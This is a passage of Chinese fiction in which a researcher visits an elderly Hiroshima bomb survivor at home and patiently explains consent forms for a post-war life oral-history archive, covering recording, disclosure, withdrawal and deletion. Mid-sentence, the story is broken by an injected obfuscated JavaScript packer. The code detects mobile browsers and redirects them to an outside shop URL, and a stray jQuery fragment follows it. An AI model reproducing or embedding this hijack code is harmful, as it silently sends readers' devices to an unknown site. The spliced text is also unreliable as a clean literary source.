星期三下午一点四十分，沈晴提前到了胜一家附近。
她没有立刻上楼。
约定时间是两点。
手里的文件袋比她想象中厚。
采访前说明书。
个人信息公开及使用范围确认书。
录音授权说明。
撤回与删除申请说明。
还有一份尚未填写的采访意愿确认表。
这些资料，她昨天又重新检查了一遍。
不是因为文字有多复杂。
而是因为每一个“同意”，都必须尽量让人知道自己究竟同意了什么。
一点五十五分，她才走进公寓。
胜一住的地方比她想象中普通。
旧式公寓。
楼道很安静。
门牌旁边没有特别的标识。
她按响门铃。
过了一会儿，里面传来脚步声。
门打开。
“早到了？”
“还有五分钟。”
“那不就是早到了。”
胜一笑着让她进来。
“进来吧。”
沈晴脱鞋。
“打扰了。”
客厅不大。
桌上已经放了茶。
旁边还有一小盘点心。
沈晴看到以后笑了。
“您不用准备这些的。”
“你从东京跑来广岛工作，还来我家，总不能只给你喝水。”
“我现在已经住广岛了。”
“一个月也叫住？”
“暂住也是住。”
胜一笑了一声。
“广告公司的人就是会说。”
沈晴把文件袋放在桌上。
没有立刻打开。
她先看了一眼胜一。
今天他的精神很好。
走路依旧不算快，但并不需要人搀扶。
“您的腿怎么样？”
“还是那条腿。”
“这个回答很保守。”
“八十多年了，还能怎么样。”
他说完，自己先笑了。
沈晴也笑。
这句话她没有记。
今天还不是正式采访。
两点整，她才把文件从袋子里拿出来。
“今天主要不是采访。”
“我知道。”
胜一看着那一摞纸。
“看出来了。”
“很多吧？”
“比医院的还多。”
“那我尽量说简单一点。”
胜一戴上老花镜。
“说吧。”
沈晴把第一份说明书放到他面前。
“我们现在做的，是被爆者战后生活记录的前期研究。”
她没有照着文件逐字念。
“和以前主要记录八月六日当天经历的采访不完全一样。这一次，我们更想听的是那之后您的生活，但涉及到您的个人隐私，所以在您愿意公开讲述的前提下，我们需要取得您的授权。”
胜一点头。
“这个我知道。”
“但不是说八月六日不能讲。”
“嗯。”
“您想讲的话，当然可以。只是我们不会规定一定从那一天开始，也不会要求您按照我们准备好的时间线把人生从头到尾讲完。”
胜一看着她。
“那你们准备怎么问？”
“正式采访开始的时候，第一个问题还是会比较开放。”
“比如？”
“比如，您今天最想先讲什么。”
胜一笑了。
“那你们可要准备很长时间。”
“我已经被提醒过了。”
“谁？”
“您。”
胜一愣了一下，随即想起上次电话里的话。
“哦。”
他笑起来。
“对，我说过。”
沈晴也笑。
“所以我们不会安排得太短。”
她继续往下说明。
正式采访原则上不会一次完成全部内容。
考虑到年龄和身体状况，每次时间会控制。
如果胜一累了，可以随时休息。
不想回答的问题可以不回答。
讲到一半不想继续，也可以停。
“停了以后，下次再讲？”
“可以。”
“如果下次也不想讲了？”
“那就不讲。”
“你们不会追着问？”
“不会。”
“那采访的人不是很没成就感？”
沈晴笑了一下。
“采访完成度不作为记录质量标准。”
胜一抬头。
“这句话听起来很像文件。”
“因为就是文件里的。”
“被我说对了。”
两个人都笑了。
沈晴翻到下一页。
记录形式。
文字。
录音。
影像。
胜一之前在问卷里已经表示文字和录音都可以。
但今天仍然需要重新确认。
“录音可以？”
“可以。”
“影像呢？”
胜一想了一会儿。
“你们需要吗？”
“不是我们需不需要。”
沈晴说，“是您愿不愿意。”
胜一摘下眼镜，想了几秒。
“先不要吧。”
“好。”
沈晴直接在影像一栏勾选：
暂不同意。
没有追问原因。
胜一看了一眼。
“这么简单？”
“嗯。”
“你不问为什么？”
“您不需要说明为什么。”
胜一点了点头。
“那就先录声音。”
“好。”
接下来是个人信息公开范围。
姓名。
年龄。
出生地。
家庭成员。
工作经历。
医疗信息。
照片。
采访内容。
每一项都可以分别决定。
胜一看到这里，皱了一下眉。
“名字也不能直接写？”
“要您同意。”
“你不是已经知道我名字了吗？”
“我知道，和我们能不能公开，是两回事。”
“以前报纸上也登过。”
“以前公开过，也不代表这次可以直接用。”
胜一看着她。
“你们真的很麻烦。”
“我知道。”
“不过这样也好。”
他重新戴上眼镜。
姓名。
可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961987|214261||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以公开。
年龄。
可以。
出生地。
可以。
工作经历。
可以根据采访内容确认。
家庭成员。
需要具体确认。
医疗信息。
部分公开。
照片。
暂不使用。
沈晴没有替他勾任何一项。
每一处都等他自己回答以后才落笔。
到了采访内容公开范围时，胜一问：
“如果我今天说可以，以后又觉得不想让人看了呢？”
“可以提出撤回。”
“全部删掉？”
“可以根据情况选择。”
沈晴把另一份说明拿给他。
“可以停止公开，也可以限制查阅，可以匿名，可以要求删除部分内容。如果您希望全部撤回，也可以提出。”
“已经有人看过了怎么办？”
“已经发生的利用不一定能完全收回。”
沈晴说，“所以我们会在公开以前再次确认。尤其是网络公开，会单独说明。”
胜一点点头。
这一次，他看文件看得很慢。
沈晴没有催。
窗外偶尔传来汽车经过的声音。
桌上的茶已经没有刚才那么热。
过了几分钟，胜一才说：
“以前别人来问我，拿着机器，坐下来就开始了。”
沈晴看着他。
“问八月六日？”
“嗯。”
“问我在哪里。”
“看到了什么。”
“母亲怎么样。”
“姐姐怎么样。”
“腿怎么伤的。”
他说得很平静。
“讲完，他们就走了。”
沈晴没有接着问。
胜一自己笑了一下。
“也不是说他们不好。”
“我知道。”
“那些事情本来就应该有人问。”
“嗯。”
“只是讲了几十年，问题差不多都一样。”
他低头看着桌上的文件。
“你们现在倒是先问我能不能问。”
沈晴笑了。
“因为这次想听得久一点。”
胜一抬起头。
没有马上说话。
过了一会儿，他点了一下头。
“那就慢慢听吧。”
说明进行到三点多。
最后一份是个人信息公开及使用范围确认书。
沈晴再次把重要部分说了一遍。
这不是把个人信息“全部交给资料馆”的承诺。
而是确认哪些信息可以被记录，哪些可以公开，公开到什么程度。
不同用途如果超出今天确认的范围，需要再次征得本人同意。
胜一拿着笔，在最后签下名字。
字确实有一点歪。
写完以后，他自己看了一眼。
“你看，我就说。”
“看得清。”
“你们以后扫描的时候别嫌弃。”
“不会。”
沈晴把文件收好。
却没有马上放进文件袋。
因为还有一件事。
这件事不属于馆方正式采访。
所以她特意留到所有馆方说明结束以后再说。